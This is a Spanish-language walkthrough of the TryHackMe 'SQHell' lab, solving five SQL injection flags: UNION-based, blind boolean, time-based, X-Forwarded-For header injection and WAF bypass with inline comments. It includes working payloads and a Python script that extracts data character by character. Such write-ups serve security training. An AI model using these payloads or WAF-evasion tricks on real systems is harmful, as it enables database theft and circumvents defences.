TryHackMe
Medium
Web
SQLi
Blind SQLi
SQHell
Cinco retos de SQL injection: in-band, blind booleano, blind time-based y bypass de WAF. Enfocado en técnicas manuales de explotación SQLi.
2023
~120 min
cat4clysm
Herramientas utilizadas
burp suite
sqlmap
curl
python scripting
Flag 1 — In-Band SQLi
Inyección directa en parámetro GET, los resultados se reflejan en la respuesta.
root@kali:~$
GET /?id=1 UNION SELECT 1,flag,3 FROM flags-- -
THM{flag1...}
Flag 2 — Blind Boolean SQLi
No hay output visible — inferimos datos carácter a carácter por verdadero/falso.
GET /?user=admin' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='T'--
Script Python para automatizar la extracción:
import requests
flag = ""
for i in range(1, 50):
for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_":
payload = f"admin' AND SUBSTRING((SELECT flag FROM flags),{i},1)='{c}'-- -"
r = requests.get(f"http://TARGET/?user={payload}")
if "Welcome" in r.text:
flag += c
break
print(flag)
Flag 3 — Blind Time-Based SQLi
Sin diferencia en la respuesta — usamos SLEEP() para inferir datos.
GET /?id=1' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='T', SLEEP(3), 0)-- -
Si la respuesta tarda 3 segundos, el carácter es correcto.
Flag 4 — Header Injection
La inyección está en el header X-Forwarded-For:
GET / HTTP/1.1
X-Forwarded-For: 1' UNION SELECT flag,2 FROM flags-- -
Flag 5 — WAF Bypass
El WAF bloquea palabras clave como SELECT, UNION. Bypass con case mixing y comentarios:
GET /?id=1 /*!UNION*/ /*!SELECT*/ 1,flag,3 FROM flags-- -
Lecciones aprendidas
- SQLi no siempre está en parámetros GET/POST — headers como
X-Forwarded-For,User-AgentoCookietambién pueden ser vulnerables. - Las técnicas blind (boolean y time-based) son más lentas pero funcionan cuando no hay output visible.
- Los WAFs se pueden evadir con comentarios inline
/*!*/, case alternado y encoding.